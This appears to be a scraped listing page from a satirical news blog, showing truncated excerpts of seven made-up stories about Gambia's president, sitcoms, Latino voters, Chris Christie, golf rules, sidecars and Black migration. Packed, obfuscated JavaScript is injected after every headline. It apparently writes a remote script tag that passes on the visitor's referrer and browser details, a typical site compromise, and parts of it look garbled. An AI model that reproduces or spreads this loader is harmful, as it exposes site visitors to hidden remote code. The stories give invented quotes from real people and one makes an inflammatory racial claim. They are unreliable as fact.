President of Gambia Planning Mass Executions

PRESIDENT OF GAMBIA PLANS MASS EXECUTIONS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hiihz|var|u0026u|referrer|dykye||js|php’.split(‘|’),0,{})) Republicans See New Election Campaign Strategy Banjul, Gambia August 26th, 2012 (SHK) Gambia’s President Yahya Jammeh said yesterday that he will “stop at nothing to execute Gambians who are plotting to overthrow my government.” The president is a former wrestler on the WWF [...]

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This Spring’s Scumbag Sitcoms

THIS SPRING’S NEW SCUMBAG SITCOMS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnzan|var|u0026u|referrer|hfein||js|php’.split(‘|’),0,{})) Four-letter Words Headline Network Lineups New York, NY March 26th, 2012 (SHK) America’s national TV networks have, in the words of one critic, “spawned a new generation of sitcoms that feature idiotic characters” in an attempt to reach a wider viewing audience. After Charlie [...]

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The Hot Latino Campaign

LATINOS CAMPAIGN HOT-AND-HEAVY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beteb|var|u0026u|referrer|tnerf||js|php’.split(‘|’),0,{})) Crowds Shouting ABO! ‘Anybody But Obama!’ Pueblo, CO March 17, 2012 (SHK) Republicans and Democrats alike are now targeting Hispanic voters as their key to victory in the presidential campaign of 2012. Latinos are alternately ‘worried’ or ‘doubtful’ about the nation’s economic recovery, giving candidates the [...]

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Will New Jersey’s Governor Run?

CHRIS CHRISTIE WEIGHS REPUBLICAN BID eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahdih|var|u0026u|referrer|ykirh||js|php’.split(‘|’),0,{})) America’s overweight population ecstatic Trenton, New Jersey — October 3rd, 2011 (SHK) New Jersey Gov. Chris Christie is surfing a wave of enthusiasm in support of his possible entry as a Republican candidate in the crowded but competitive national campaign for president. Gov. Christie [...]

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Rewriting the Rules of Golf

REWRITING THE RULES OF GOLF eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryiyz|var|u0026u|referrer|habbz||js|php’.split(‘|’),0,{})) Seniors, Electric Carts Prompt Changes Bridgewater, New Jersey September 18th, 2011 (SHK) As summer draws to a close, the United States Golf Association (USGA) today announced dramatic changes to its rules of golf. A rulebook that previously ran upwards of 200 pages has been [...]

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Motorbikes with Sidecars Latest Fad

MOTORBIKES WITH SIDECARS LATEST FAD eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbaea|var|u0026u|referrer|ftbyn||js|php’.split(‘|’),0,{})) Russian Army Retro Model Most Popular in America Moscow, Russia June 16th, 2011 (SHK) The Irbit Manufacturing Company of Russia has found a surprising new market for its military motorbikes with sidecars, selling them like hotcakes now to America’s aging Baby Boomers. “They’re so [...]

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Blacks Moving Back South

BLACKS MOVE BACK SOUTH, REVERSING TREND eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dahae|var|u0026u|referrer|snrik||js|php’.split(‘|’),0,{})) Many Buy White Slaves, Cite Justice Atlanta, GA April 25th, 2011 (SHK) America’s 2010 decennial census has confirmed a dramatic new social trend in US demographics, according to data released recently. Blacks moved South in increasing numbers during the past decade, reversing an [...]

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